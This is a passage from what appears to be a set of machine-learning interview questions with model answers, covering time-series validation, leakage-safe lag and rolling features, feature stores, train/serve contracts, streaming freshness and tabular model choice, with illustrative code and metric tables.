4. The failure mode is erasure, and it's silent. A deletion request removes the source row; the feature store keeps 14 monthly snapshots and three training sets. That's an unfulfilled Art 17 request, and nothing alerts on it. Detection: a synthetic-user erasure test that runs a canary through the pipeline and asserts zero rows in every store. Source, feature store, snapshots, training sets, model artefacts. Retraining is the honest fix; "machine unlearning" isn't something I'd bet a compliance claim on yet.
What I'd ask the colleague: what does the model do with postcode that region doesn't? If they can't answer with an ablation, the raw feature is habit, not signal.
Curated: · Written: · Reviewed:
Q&A-4You are asked to evaluate a demand forecast with 5-fold random cross-validation. What do you change?
Change three things: the split, the gap, and what gets reported. Assumptions first, because the fold construction depends on them: daily demand at SKU × store grain, a 14-day forecast horizon, and a 7-day label delay. The sales figure for day t is not final until t+7 because of returns and settlement. If those numbers differ in your system, the folds differ.
Random 5-fold on a time-ordered panel isn't merely noisy, it measures a quantity nobody deploys. Two leakage channels, in order of how badly they hurt. First, local structure: a promotion running Mar 20–26 puts near-duplicate (features, label) rows in the panel, and shuffling puts Mar 22 in train and Mar 24 in test. The model memorises the promo's level and looks brilliant. Second, regime: random folds train on rows from after the test rows, so price elasticity, assortment and trend learned from the future leak backward. The model is being asked to forecast next week from last week; the evaluation should ask it to do exactly that.
What I do instead:
- Expanding-origin folds, gap = label delay, test block ≥ horizon. Each fold is predicted only from history strictly before it, with 7 days excluded at the boundary. Test windows are at least 14 days so the horizon is fully scored.
- Report folds separately, plus error by lead time and by volume band: pooled MAPE hides the one thing I need, which is that fold-to-fold spread signals drift.
- Keep the last origin untouched for tuning. Hyperparameters chosen on the same origins you report on are optimistic by construction; I tune on the early folds and score the final 4–8 weeks once.
Worked example (figures illustrative):
| Fold | Train window | Gap | Test window | MAPE |
|---|---|---|---|---|
| 1 | Jan 1 – Mar 31 | 7d | Apr 8 – Apr 21 | 19.4% |
| 2 | Jan 1 – Apr 21 | 7d | May 6 – May 19 | 22.1% |
| 3 | Jan 1 – May 19 | 7d | Jun 3 – Jun 16 | 26.8% |
| random 5-fold | shuffled | none | shuffled | 8.2% |
The 8.2% versus ~23% average is the whole finding: random CV reported 8.2% MAPE and the model shipped at 24.5% in its first month. The rising spread across origins is a second finding: something changed in June and I would chase that before trusting any number.
Building folds on the date axis, not the row axis (Python 3.11, scikit-learn 1.5):
def rolling_origin_folds(dates, horizon=14, gap=7, step=14, n_folds=5):
# dates: sorted unique dates; one row per (sku, date) in the panel,
# so an index gap equals a day gap. TimeSeriesSplit(gap=...) counts
# ROWS -- wrong for an SKU x date panel of uneven length.
te_end = len(dates) - 1
for _ in range(n_folds):
te = range(te_end - horizon + 1, te_end + 1)
tr = range(0, te_end - horizon + 1 - gap)
yield [i for i, d in enumerate(dates) if d in set(dates[tr])], list(te)
te_end -= step
Failure modes I've been bitten by. Gap shorter than the label delay: a returns-rate feature joins on data that did not exist at forecast time, and CV error lands suspiciously close to the random-split number. That coincidence is my leak detector. Pooled MAPE on intermittent SKUs: a store selling 3 units/day swings MAPE by 60 points, so I score WAPE or MASE alongside it and track forecast/actual bias, since under-forecasting costs stockouts and over-forecasting costs markdowns. Test blocks shorter than the horizon: you only ever score the cheap early lead times.
The honest cost: each fold trains on less data and the fold spread is wide, so the estimate has real variance. That is the correct trade: one long holdout buys you a single noisy point, walk-forward buys five. And if folds 4 and 5 diverge sharply from 1–3, that is drift, not an evaluation bug; retraining cadence and feature staleness become the follow-up question.
Curated: · Written: · Reviewed:
Q&A-44How do you build lag and rolling features for a forecasting model?
Build lag and rolling features by shifting the series so every window ends at the last value that would actually be known at prediction time, then validate on a rolling origin that reproduces the same delay.
Assumptions I'd state up front: one series per entity, daily granularity, a known reporting delay d (2 days here), and a one-step-ahead target. Under those, a lag is shift(k) and a rolling statistic is shift(d).rolling(w).mean(): the shift is what makes the window causal.
import pandas as pd
s = pd.Series([10,12,14,16,18,20,22,24,26,28]) # days 0..9
# 7-day mean ending at t-2 (2-day reporting delay)
feat = s.shift(2).rolling(7).mean()
# day 8 -> 16.0 (days 0-6)
# day 9 -> 18.0 (days 1-7)
# leaky: window includes the day being predicted
leak = s.rolling(7).mean()
# day 9 -> 22.0 (days 3-9)
Trace: shift(2) places units[t-2] at index t, so rolling(7) at day 9 averages days 1 through 7 and yields 18.0. The unshifted version averages days 3 through 9 and yields 22.0, folding the target day into its own feature.
The trade-offs are where most of the judgement lives.
| Choice | Buys | Costs |
|---|---|---|
| 7-day window | reacts to a level shift within ~3-4 days | noisy; lags a step change by ~half the window |
| 28-day window | low variance, stable | ~14-day lag on a step change |
| lags 1..7 | weekly shape explicit | 7 collinear features |
| lags 1,7,14,28 | cheap, less collinear | misses intra-week shape |
Rolling features lose to model-side handling in two cases. If the model already represents trend and seasonality internally (SARIMA, ETS, Prophet) hand-built rolling means duplicate that structure and add leakage surface for little gain. If the series is short (fewer than a handful of windows) or has regime shifts, an expanding mean or an explicit trend term beats a fixed window that straddles the break. Gradient-boosted trees have no time structure of their own, so they do need the explicit lags and rollings.
Concrete failure modes and how they show up:
- Leakage. A 7-day mean computed inclusively reported 4.1% MAPE offline and 23.8% in production, because every training row contained the day it was predicting. Detected by asserting, for a sample of rows, that the maximum contributing timestamp is strictly before the prediction timestamp.
- Delay mismatch. Features built with
d=0while data lands two days late mean production features are stale by two days; offline metrics look fine because the backtest used the same wrong delay. Detected by comparing feature freshness to the actual arrival time of the source table. - Warm-up NaNs. The first
w+drows per entity are undefined; dropping them silently can bias toward long-lived entities. Detected by counting nulls per entity before imputation. - Non-stationarity. A 28-day mean carried across a holiday or price change describes a regime that no longer holds. Detected by plotting the feature against the target and watching for a level break.
Validation is a rolling origin that respects the same delay: refit at each origin, build features from data available at that origin, and score the next step. That is the only setup whose offline number can be defended in production. I would not call the feature set settled until the timestamp assertion passes on a sample of rows and the rolling-origin MAPE sits within a few points of the live number.
Curated: · Written: · Reviewed:
Q&A-45Your forecast is accurate for 11 months and badly wrong in December. What is missing?
What a strong candidate says first. The model has no feature that marks December as different, and three Decembers is not enough data for it to learn that on its own. Fix the calendar explicitly: holiday and event indicators with lead and lag windows, Fourier terms for the weekly and annual cycles instead of a raw day index, and validate on a held-out full seasonal cycle.
Why the general model misses it. A tree or linear model sees day-of-year as a number. December 25 and December 24 sit far apart in that encoding but are nearly identical in effect, and with three observations of the annual peak against roughly 1,095 ordinary days, no split or coefficient gets enough signal to separate them. The peak lands in the residual, and the annual average hides it.
Error inside and outside event windows, one year of the three:
| Window | Days | MAPE |
|---|---|---|
| Ordinary days | 347 | 7.2% |
| Holiday windows | 18 | 44.0% |
| Black Friday, one of those 18 | 1 | 61.0% |
| Annual average | 365 | 9.0% |
Alternatives, and when explicit features are the wrong call.
- SARIMA seasonal terms handle regular seasonality well at a weekly lag (s=7), but annual seasonality at s=365 is impractical: too many lags for the data you have. Use it when seasonality is smooth and stationary; it will not catch a moving holiday like Easter or Ramadan.
- Prophet-style decomposition is the same idea packaged: Fourier terms for yearly and weekly seasonality plus holiday indicators, with a prior shrinking holiday effects toward zero. The prior helps with sparse events but does not create information that is not in the data.
- Letting the model learn calendar effects works when you have many years or many related series to pool across. With three years on one series, it does not.
- Pooling across series, a shared event effect or hierarchical prior, is the right move when each event has one observation per series but you have hundreds of series.
Do not add an indicator when:
- The event has occurred once. The indicator is a free parameter that fits that day exactly and generalizes to nothing.
- The event coincides with a promotion or price change. The indicator absorbs the promo, and you over-forecast next year when the promo does not repeat.
- The holiday moves. A fixed calendar indicator is simply wrong; use days-to-event or a date-relative feature.
Failure modes and how to detect them. Overfit indicator: event-window error looks excellent in-sample and collapses out-of-sample. Detect by holding out the event year. Confounded with promo: the event coefficient is unstable across years, and adding a promo flag moves it. Too many rare-event indicators: coefficients become collinear and unidentifiable. Detect by watching standard errors blow up.
Validation. Hold out a full seasonal cycle, not a random split, and report event-window error separately from ordinary-day error. A rare and expensive day deserves its own feature and its own error report.
Curated: · Written: · Reviewed:
Q&A-42Your top feature by importance changes every quarter. Is that a problem?
No, not by itself. A top feature that changes every quarter is usually a property of how importance is computed on correlated inputs, not a change in what drives the outcome. It becomes a problem in exactly two cases: when the ranking is used to make a decision, or when it's the visible symptom of a real change in the data.
Why the reshuffle is free. Split-count importance, the default in scikit-learn's tree ensembles, sums the impurity decrease each split produces. When two features carry nearly the same signal, the tree splits on whichever one the bootstrap sample made marginally better at that node, and the other gets nothing. Resample and the winner flips. Nothing about the world changed.
Permutation importance doesn't fix it either. Permute one of two correlated features and the other is still there, so the model barely loses accuracy and both look unimportant. Illustrative numbers, two features correlated at 0.94, model AUC 0.80 on held-out data:
| Permuted | AUC | Drop |
|---|---|---|
| sessions_7d alone | 0.795 | 0.005 |
| sessions_28d alone | 0.797 | 0.003 |
| both together | 0.72 | 0.08 |
Read individually, neither matters. Read as a group, they carry 0.08 AUC. That is the whole story of a quarterly leaderboard that reshuffles:
| Feature | Q1 | Q2 | Q3 | Group |
|---|---|---|---|---|
| sessions_7d | 1 | 3 | 2 | 1 |
| sessions_14d | 2 | 1 | 3 | 1 |
| sessions_28d | 3 | 2 | 1 | 1 |
The check I'd run. Cluster features above a correlation threshold: 0.9 is a reasonable start: rank the clusters, and report each cluster's importance with a bootstrap interval across samples and across the last several retrains. If the top cluster is stable and only the member inside it changes, there is nothing to report. If the top cluster moves, that is worth chasing.
When it is a problem.
- The ranking feeds a decision: dropping features, a compliance explanation, a dashboard someone acts on. An unstable ranking is then an unstable decision.
- The change exceeds the bootstrap interval, or the group ranking moves. That is drift or a pipeline break, not credit-splitting. Check the feature's distribution (PSI, null rate, cardinality) before blaming the model.
- A feature silently went constant or a join broke, so its importance fell to zero for a reason unrelated to the model.
One caveat worth saying out loud: importance is not causality. The top feature by importance is not automatically the thing to act on, and a stable ranking does not make it causal.
What I'd tell the stakeholder: the top feature changing quarter to quarter is expected when the top three are correlated at 0.94. What I'd watch is whether the group's contribution moved. Report the group with an interval, and escalate only when the interval moves.
Curated: · Written: · Reviewed:
Q&A-10Why does a feature store need a feature's history rather than only its current value?
Assumption worth naming: the label arrives after the prediction. Default within 90 days, churn in the next 30, conversion this session. Nearly every supervised row in production is shaped like that, and it is what makes history mandatory rather than a nice-to-have.
A model scores the state of the world at time t, not the entity. A training row is (entity_id, prediction_ts, features_as_of(prediction_ts), label). A store that can only return the current value cannot reconstruct that row. It can only replay today's state onto every past decision, and the replayed rows are wrong in one specific direction: they carry information from after the label was decided.
History buys three things a snapshot cannot. Point-in-time correctness, so no future signal reaches the training set. Reproducibility: the same job re-run in six months produces the same matrix, which is what lets you retrain after a definition change, debug a model that went bad, or answer "why did we decline this application in March". And backfills: a new feature can be computed over two years of events instead of starting from today.
Mechanically: persist every feature write with its event time (and separately its write time), keep the offline store append-only or as SCD-2 validity intervals, and assemble training sets with an as-of join. The online store is free to hold only the latest value (Redis or DynamoDB, single-digit-millisecond reads) because serving never asks for history. The offline store (Iceberg/Parquet/Delta) carries it.
-- BigQuery; as-of join at prediction time
SELECT l.app_id, f.balance_usd, l.defaulted
FROM labels AS l
JOIN features AS f
ON f.user_id = l.user_id
AND f.event_ts <= l.prediction_ts
QUALIFY ROW_NUMBER() OVER (
PARTITION BY l.app_id ORDER BY f.event_ts DESC) = 1;
Worked example, illustrative numbers. A credit model joins the current balance instead of the balance at application time. A user applies on 2024-03-01 with 5,200 USD, defaults on 2024-04-15, and the account is drained to 40 USD by 2024-04-20.
| Join | balance_usd in training row | Label | Leaks? |
|---|---|---|---|
| Current snapshot | 40 (event 2024-04-20) | defaulted | yes |
| As-of at prediction_ts = 2024-03-01 | 5,200 (event 2024-02-28) | defaulted | no |
The leak window is exactly the label delay: with a 45-day outcome window and a snapshot join, every row imports up to 45 days of post-outcome signal. The model learns "low balance predicts default", which is true in the snapshot and useless at decision time: the pattern is 0.86 AUC offline and 0.58 on the first few thousand live applications.
Failure modes I would expect to see and how I would catch them:
- Late-arriving events keyed on write time. A nightly batch carrying yesterday's transactions lands at 02:00 and gets stamped after the prediction, so the as-of join silently omits it, or, keying on event time without a watermark, rows resurrect and two runs of the same job produce different features. Detect by comparing
max(event_ts)againstmax(write_ts)and by asserting the training matrix hash is stable across rebuilds. - Backfill upserts into a "latest" table. The previous value is overwritten and history is gone; you cannot retrain January's model. Detect with row-count monotonicity on an append-only log and immutability checks on partitions older than the retention window.
- Definition drift. History of values is not enough if the transform that produced them changed. Pin the feature definition version per training set, or the 2023 backfill and the 2023 production traffic disagree.
- Online/offline skew. Serving computes the feature with different code or a different clock than training; check sampled serving requests against the offline row for the same timestamp.
History is genuinely unnecessary for immutable entity attributes (signup country, account open date) and static reference data. The moment an attribute can change (residence, plan tier, credit limit) it is a time series in disguise and the same rules apply.
Evidence standard: take 500 training rows, recompute each feature from the event log as of its own prediction timestamp, and assert equality with the stored training value. Everything else (dashboard AUC, "we use a feature store") does not establish correctness.
Curated: · Written: · Reviewed:
Q&A-90How do you stop a feature's meaning from drifting between the training code and the serving code?
The 90-second answer
Assume one team owns both paths, Python on both sides, training reads a warehouse table and serving reads an online store. The cheapest thing that actually stops drift is one typed feature contract that both paths import and construct through a single function, with units in the field names and range checks at construction. Two independently maintained definitions are a divergence with a start date: nothing raises when they disagree, the model just gets quieter.
What that buys you is bounded, and the rest of this answer is where it stops working.
Why it drifts
Training reads a warehouse column dwell_ms; serving computes (t_end - t_start).seconds. Both are floats, both are called dwell, both pass every type check. The model sees a 1000× feature at serving time and the only symptom is a metric moving.
Hypothetical worked example: a ranking model trained with dwell in seconds, served in milliseconds. Offline AUC 0.81, online AUC 0.62 in the first hour after deploy. Nothing in the logs is an error: the value is in range for the serving-side validator, because that validator was written against milliseconds.
The contract
# features.py — imported by both training and serving
from dataclasses import dataclass
@dataclass(frozen=True)
class Features:
dwell_seconds: float
price_usd: float
is_returning: bool
def __post_init__(self):
if not 0.0 <= self.dwell_seconds <= 86_400.0:
raise ValueError(f"dwell_seconds out of range: {self.dwell_seconds}")
if self.price_usd < 0.0:
raise ValueError(f"price_usd negative: {self.price_usd}")
raise, not assert: assert is stripped under python -O, and validation that vanishes in production is worse than none, because you believe it ran. Checked against Python 3.11.
Trace: Features(dwell_seconds=1500.0, price_usd=12.5, is_returning=True). __post_init__ sees 1500.0 inside [0, 86400] and 12.5 non-negative, returns the instance. Features(dwell_seconds=1_500_000.0, price_usd=12.5, is_returning=True) raises ValueError: dwell_seconds out of range: 1500000.0. Features(dwell_seconds=-1.0, ...) raises the same way.
The test that catches the real failure is a parity test, not a range test:
def test_training_and_serving_agree():
raw = {"dwell_ms": 1500, "price_cents": 1250, "returning": True}
assert train_builder(raw) == serve_builder(raw)
Frozen dataclasses compare by field value, so this fails the moment one builder gains a field or converts units differently.
Trade-offs
| Approach | Fixes | Doesn't fix | Cost |
|---|---|---|---|
| Shared typed contract | Unit, name and type drift; missing fields | Freshness, point-in-time leakage, distribution shift | Coupling: both paths must ship the library together |
| Feature store (Feast, Tecton, Vertex) | Train/serve skew from separate pipelines; point-in-time correct training sets | Semantics: it will serve milliseconds if that is what you logged | Infra plus a new failure surface; online-store latency budget |
| Schema validation (pandera, Great Expectations, Pydantic) | Data-level constraints and distribution checks at pipeline boundaries | Doesn't bind the two code paths unless both import the same definition | Per-batch runtime; another config to keep current |
| Contract tests only | Catches drift in CI | Nothing at runtime; a serving path that bypasses the builder is invisible | Cheap |
The coupling cost deserves naming: training pins features==1.4, serving runs 1.3, and the resulting skew looks exactly like drift. Keep the contract dependency-free (no pandas, no framework imports) and version it separately from the model.
Failure modes and detection
- A serving fast path bypasses the builder under load. Detect by logging the raw feature dict at serving and diffing its keys against the contract's fields nightly.
- The online store serves a stale value. Detect by comparing online values against the offline store for the same entity and timestamp, alerting past a tolerance.
- Correct units, shifted distribution. Detect with PSI or a KS test per feature between the training window and the last 24 hours of traffic.
When not to use it: if training and serving are owned by different teams on independent release cadences, a feature store with a schema registry is the better boundary. The contract becomes the registry entry rather than a Python import.
Curated: · Written: · Reviewed:
Q&A-73You add a feature today and want two years of history for training. What has to be true?
What a strong candidate says in the first minute
Two years of history is only real if the feature could have been computed at the time each row is stamped with. So the question is not "can I backfill?" but "does the event log contain everything the online transform consumed, and can I replay it with point-in-time joins?" If it does not, the honest move is to shorten the window or approximate, not to fabricate two years.
Assumptions worth stating out loud: the feature is derived rather than a raw logged value, the online transform is deterministic given its inputs, and there is an immutable event log with ingestion timestamps.
Mechanism
Replay the immutable event log through the same transformation used online, join dimensions as-of the event time rather than from current state, and stamp each computed value with its validity interval [valid_from, valid_to). Then verify against an overlap period where online values also exist.
Why current-state joins break it: a backfill built from today's dimension tables imports information the past did not have. Illustrative numbers: merchant categories reassigned in 2025 gave 2024 rows 2026 categories and 3.9 points of illusory AUC.
Trade-offs: the part that decides it
| Approach | Cost | Risk | Choose when |
|---|---|---|---|
| Full two-year replay | high: log retention, compute, storage | leakage if any input lacks point-in-time history | retention covers the window and every input is replayable |
| Partial window (post-launch only) | low | less data, cold-start bias, seasonality unrepresented | one input is unreconstructible, or you can wait |
| Approximation (coarse buckets, proxy) | medium | distribution shift vs online values; train/serve skew | you need coverage now and can measure the skew |
| Feature-store tooling with PIT joins | medium-high setup | migration cost; backfill still bounded by log retention | many features, repeated backfills |
When not to do it: if the feature's inputs are overwritten in place (mutable state, no change data capture), if log retention is shorter than the window, or if the model's decision does not change between two years and six months of data. Measure that last one before paying for the backfill.
Validation
Overlap check before trusting reconstructed history (illustrative figures):
| Month | Rows compared | Exact match | Verdict |
|---|---|---|---|
| Overlap month | 412,000 | 99.4% | accept |
| Prior attempt | 412,000 | 71.2% | rejected |
State the threshold up front: for example, at least 99% exact match on the overlap month. Below it, reject the backfill and fall back to the partial window.
Failure modes and how they show up: leakage from current-state joins (overlap mismatch concentrated in rows whose dimensions changed); retention gaps (null rate spikes before a date); train/serve skew from approximation (offline and online feature distributions diverge on live traffic).
Curated: · Written: · Reviewed:
Q&A-71A feature must reflect events from the last 60 seconds. What does that cost you?
Core answer
A 60-second freshness bound is not a latency problem: the latency is easy. It costs you an always-on stateful streaming job, and it forces a late-data decision a batch pipeline never makes you take. If 5-minute freshness is acceptable, batch is roughly an order of magnitude cheaper.
Budget decomposition, p99, event-time to serving read:
| Stage | p99 |
|---|---|
| Kafka produce → broker ack | 50 ms |
| Broker → consumer fetch | 200 ms |
| Windowed aggregation + emit | 2 s |
| Write to online store | 300 ms |
| Serving read | 20 ms |
| Total | ~2.6 s |
That leaves ~57 s of slack. The bound is loose; the cost is that the job must run continuously and hold state.
Streaming vs micro-batch vs batch
| Approach | Freshness | Cost shape |
|---|---|---|
| Batch hourly | 60 min | Job runs ~2 min/hour |
| Micro-batch 10 s | 10–20 s | Cluster up 24/7, small |
| True streaming | 1–3 s | Cluster up 24/7, stateful, checkpointing |
Micro-batch at 10 s meets 60 s and is far simpler than Flink. If you don't need sub-10 s, don't pay for it.
State is the real bill
A 60 s sliding window with 1 s advance puts each event in 60 windows. At 10k events/s that is 600k window updates/s and 60 partial aggregates per key in the state store, versus 10k updates/s and one aggregate for a 60 s tumbling window: 60x the state and CPU. For "clicks in the last 60 s", a tumbling window plus the previous window's partial (or a ring buffer of per-second counts) gives the same answer at a fraction of the state.
Late data
Watermark with zero allowed lateness: fast, drops late events. With 30 s allowed lateness your feature is by construction up to 30 s stale: you have spent half the budget on completeness. Decide per feature.
Failure modes
- Job green but lagging: alert on event-time lag, not job status.
- Checkpoint failure → restore from 10 minutes ago → silent staleness.
- Hot key: one account at 100x traffic blows the state store.
Code: Kafka Streams 3.7 tumbling window:
builder.stream("clicks")
.groupByKey()
.windowedBy(TimeWindows.ofSizeWithNoGrace(Duration.ofSeconds(60)))
.count(Materialized.as("clicks-60s"));
ofSizeWithNoGrace drops late records; ofSizeAndGrace(Duration.ofSeconds(60), Duration.ofSeconds(5)) accepts 5 s of lateness at the cost of a 5 s emit delay.
Curated: · Written: · Reviewed:
Q&A-79A feature is the count of events in the last 5 minutes, updated per event. How is it computed efficiently?
Clarify, then answer. Assume an exact count over a trailing 5-minute window, updated on every event, one logical stream per key, events roughly in order. The efficient structure is a ring buffer of 300 one-second counters with a running total: O(1) time and O(300) memory per key, independent of event rate. A deque of raw timestamps is also O(1) per event, but its memory scales with the rate: that is what breaks it at scale.
Why the deque stops being right. At 12,000 events/s a 5-minute window holds 3.6M live entries. A Python tuple of two ints plus the deque pointer is roughly 120 bytes, so ~430 MB per key. That is fine at 100/s and fatal at 12k/s, or with millions of per-user keys.
Bucketed ring buffer. Keep 300 counters; the bucket for a second is sec % 300. On each event, advance the clock, clearing any bucket that has aged out, then increment the current second's bucket and the running total. The count is the total.
BUCKETS = 300
counts = [0] * BUCKETS
total = 0
last_second = None
def add(ts, n=1):
global total, last_second
sec = int(ts)
if last_second is None:
last_second = sec
while last_second < sec: # advance, evicting aged-out seconds
last_second += 1
idx = last_second % BUCKETS
total -= counts[idx] # held second (last_second - 300)
counts[idx] = 0
counts[sec % BUCKETS] += n
total += n
return total
Trace: at sec=400, last_second=399, the loop steps to 400 and clears counts[400 % 300] = counts[100], which held second 100. Exactly the second now 300s old. Window covers 101..400. Correct.
Trade-offs.
| Structure | Time/event | Memory | Notes |
|---|---|---|---|
| Deque of timestamps | O(1) amortised | O(rate × 300s) | Exact; handles out-of-order if inserted sorted |
| 300 one-second buckets | O(1) | O(300) | Boundary quantised to 1s |
| Redis sorted set | O(log N) | O(N) in Redis | ZADD/ZREMRANGEBYSCORE/ZCARD; shared across a fleet, survives restarts |
| Count-min sketch | O(1) | O(width) | Approximate; for huge cardinality |
Buckets quantise the boundary: at 12k/s the error is up to ~12,000 events. Refine by keeping raw timestamps for the two boundary buckets only. Use Redis when the window must be consistent across instances; use a sketch when a few percent error is acceptable.
Failure modes.
- Out-of-order or late events: buckets assume monotonic time, so an event landing in a cleared bucket is dropped. Add a watermark/grace period, or keep the boundary buckets raw.
- Clock skew across producers: key on event time, not arrival time, from one clock source.
- Hot key: one key at 12k/s is fine; millions of per-user keys × 300 counters is 300M counters. Shard or approximate.
Evidence. Recomputing the window per event costs 41 ms, so a single consumer processes ~24 events/s. At 12,000/s it falls behind by ~11,976 events/s; after two hours that is ~86M events, ~2 hours of lag. Measure per-event time at production rate and confirm consumer lag stays flat.
Curated: · Written: · Reviewed:
Q&A-77You need per-user counts over 400 million events. Why does the data structure choice matter here?
What a strong candidate says first
The choice fixes two things you cannot repair later: the complexity class and the memory ceiling. Per-user counts over 400M events is a group-by. Hash aggregation is O(N) time and O(distinct keys) memory; a per-user scan is O(users × events); a sketch is O(N) time and O(1) memory but approximate. At 400M rows the first two differ by orders of magnitude, and the memory term decides whether the job runs at all.
Mechanism
Hash aggregation touches each event once: look up the key, increment. Cost is per event, not per user, so it scales with the stream. Memory scales with distinct keys, not events: 2.1M users is a small map; 400M distinct users is not.
A per-user scan re-reads the whole stream once per user. That is the quadratic term, and it is the reason the data structure choice is the whole question.
| Approach | Time | Memory | Breaks when |
|---|---|---|---|
| Per-user scan | O(U·N) | O(1) | always at this scale |
| Hash aggregation | O(N) expected | O(U) keys | U approaches N, or one key is hot |
| Sort + run-length | O(N log N) | O(1) extra, spills to disk | sort spill dominates |
| Count-Min Sketch | O(N) | fixed d×w counters | you need exact counts |
| HyperLogLog (distinct per user) | O(N) | ~12 KB per user at 2^14 registers, ~0.81% error | you need exact cardinality |
Code and trace
from collections import defaultdict
counts = defaultdict(int)
for user_id in events: # 400M rows, one pass
counts[user_id] += 1
Trace on [7, 3, 7, 7, 3]:
- 7 → defaultdict inserts 7→0, then 0+1=1
- 3 → inserts 3→0, then 0+1=1
- 7 → 1+1=2
- 7 → 2+1=3
- 3 → 1+1=2
Result {7: 3, 3: 2}. Five lookups, five int allocations: ints are immutable, so += rebinds a fresh object every time. At 400M events that is 400M small allocations, which is why the columnar version (pandas groupby().size(), DuckDB, Spark's map-side combine) wins: same hash table, C-level, no per-row Python object.
Arithmetic (labelled estimates, single core)
- Per-user scan: 2.1M × 400M = 8.4×10^14 comparisons. At 1 ns each ≈ 9.7 days; at 10 ns ≈ 97 days.
- Hash pass: 400M dict ops. Pure Python ~200 ns/op ≈ 80 s; columnar ~20–40 ns/op ≈ 10–20 s.
- Memory at 2.1M keys: key ints 2.1M × 28 B ≈ 59 MB, value ints ≈ 59 MB, dict table and entries ≈ 50 MB → ~150–200 MB, dominated by per-object overhead rather than the table. At 400M distinct users the same structure is ~28 GB.
Failure modes
- Map growth: CPython resizes at 2/3 load, allocating a new table. Transient 2× RSS. Detect with container OOMKilled events and an RSS sawtooth.
- Distinct keys ≈ events: memory goes from ~150 MB to tens of GB. Detect by counting distinct keys in a sample before the full run.
- Skew: partitioning by
user_idrange sends a whale's events to one reducer. Partition byhash(user_id) % Pinstead; detect via per-partition row counts. - Approximate where exact was needed: HLL gives ~0.81% error at 12 KB. Fine for a feature, wrong for a billing count.
When not to use a hash map
If distinct keys approach N, or the map must survive a worker restart, sort-based aggregation with external spill gives bounded memory at O(N log N). If you only need distinct-per-user cardinality, HLL at 12 KB per user beats a set of ids by orders of magnitude.
Curated: · Written: · Reviewed:
Q&A-30When would you choose a neural network over gradient boosting for a tabular problem?
The 90-second answer
Default to gradient boosting. Choose a neural network only when the problem has a property trees cannot express, and name that property before you start. The properties that qualify: you need embeddings shared across tasks or across a huge categorical space; inputs are multimodal, with text, image or sequence data alongside tabular columns, and you want one model; you have a pretrained representation to transfer from; the model must be differentiable end-to-end with another component; or the serving stack already runs a network and you want one artifact. Absent one of those, boosted trees win on accuracy, training time and tuning effort at typical tabular sizes.
Why trees win by default
Trees split on one feature at a time along axis-aligned thresholds. That matches tabular data: mixed scales, irrelevant columns, missing values, non-smooth target functions. A network's inductive bias is smooth and rotation-invariant, which is wrong for that structure, and it needs scaling and categorical encoding before it sees anything. Grinsztajn et al. (NeurIPS 2022, "Why do tree-based models still outperform deep learning on typical tabular data?") attribute the gap to exactly these: trees tolerate uninformative features and non-rotationally-invariant targets, and they need no preprocessing. The gap is widest in the 10^3–10^5 row range, which is where most tabular problems live.
Worked example (illustrative figures)
250,000 rows, 180 features, identical folds, 20 wall-clock hours of tuning each:
| Model | Train time | Best val AUC | Runs fit in budget |
|---|---|---|---|
| LightGBM | 6 min | 0.847 | 200 |
| TabNet | 14 h | 0.844 | 1 |
The arithmetic is the point: 20 h / 6 min = 200 LightGBM configurations against 1 TabNet configuration. The network is 140× slower per run and 0.003 AUC behind, and it never got to explore its own hyperparameters. That is the shape of the failure, not a claim that networks cannot win.
When the network is the right call
- Shared embeddings: recommendation or ranking where user and item IDs recur across tasks; a tree must split per category and cannot share statistical strength across them.
- Multimodal: a column of text or an image field plus tabular features, trained jointly.
- Transfer: a pretrained encoder fine-tuned on your table.
- Differentiable pipeline: the tabular model feeds a loss that must backprop.
- Very large scale with high-cardinality categoricals, where embedding serving is cheaper than materializing one-hot splits.
TabPFN v2 (2024) is the exception worth knowing: a transformer that beats tuned GBDT on small tables, but it is bounded to roughly 10k rows and 500 features.
Failure modes and how to detect them
- Overfitting on small data: watch the train/val AUC gap per epoch; if val plateaus below the GBDT baseline, stop.
- Preprocessing skew: the network needs scaling and encoding, so if train and serve transforms diverge, accuracy drops silently. Log feature distributions on both sides and diff them.
- Embedding blowup: rare categories get untrained vectors. Check per-category support counts and embedding norms.
- Tuning burn: more hyperparameters than trees. Track best val AUC per wall-clock hour; if it is flat after a few hours, the budget is gone.
How to decide
Run LightGBM first: it is hours, not weeks. Only build the network if one of the named properties applies, and compare on identical folds with a fixed wall-clock tuning budget, reporting AUC per hour spent. Accuracy per hour is the metric that decides it.
Curated: · Written: · Reviewed:
Q&A-9A stakeholder asks for a deep model on 40,000 tabular rows. How do you respond?
Before I'd answer with a model, I'd answer with questions, because "40,000 tabular rows" doesn't tell me the problem. What's the label and the unit of prediction: a row, a user, a session? What's the positive rate? Which error is expensive? What metric counts as success, and against what incumbent decision? Is the serving path synchronous or batch? Those answers dominate the model family choice: 40,000 rows of fraud at 0.3% positive is 120 positives to learn from, while churn at 8% is 3,200. Same row count, very different problems.
With those settled (supervised, defined target, an existing decision to beat) my response to the stakeholder is: I'll fit a business rule, logistic regression, and gradient boosting in that order, report all three on identical folds with a confidence interval and inference cost in the same table, and require anything more complex to clear the evaluation noise before we pay for it.
Illustrative worked example on 40,000 rows, 5 folds. Figures are hypothetical but the magnitudes are typical:
| Model | AUC | 95% CI | p99 latency | Cost / 1M predictions |
|---|---|---|---|---|
| Business rule | 0.63 | ±0.011 | 0.2 ms | $0.30 |
| Logistic regression | 0.79 | ±0.009 | 1.1 ms | $0.90 |
| Gradient boosting | 0.844 | ±0.008 | 4.0 ms | $3.10 |
| Neural network | 0.848 | ±0.009 | 66 ms | $190.00 |
The NN's 0.004 AUC gain sits inside its own ±0.009 band, so it isn't a gain at all. Meanwhile $190 vs $3.10 per million predictions is a 61× multiplier: at 50M predictions/month that's $9,500 instead of $155.
Why the ladder skews toward trees here: deep models buy representation learning, and tabular columns don't reward it. Columns are heterogeneous in scale, type, and cardinality, and the signal is usually a handful of threshold interactions that a tree finds in one split. HistGradientBoostingClassifier handles missing values and mixed types natively and fits 40k rows in well under a minute. A network has to learn those same thresholds through normalization and enough gradient steps, and at 40k rows it's fitting noise: visible as a train/val gap that opens around epoch 10 and never closes.
The comparison has to be paired. Same folds, then a bootstrap over out-of-fold predictions:
# Python 3.11, scikit-learn 1.5
import numpy as np
from sklearn.model_selection import StratifiedKFold, cross_val_predict
from sklearn.metrics import roc_auc_score
cv = StratifiedKFold(5, shuffle=True, random_state=0)
def oof(model):
return cross_val_predict(model, X, y, cv=cv, method="predict_proba")[:, 1]
pa, pb = oof(hgbt), oof(nn) # same folds for both candidates
rng = np.random.default_rng(0)
idx = np.arange(len(y))
draws = []
for _ in range(2000):
s = rng.choice(idx, len(idx), replace=True)
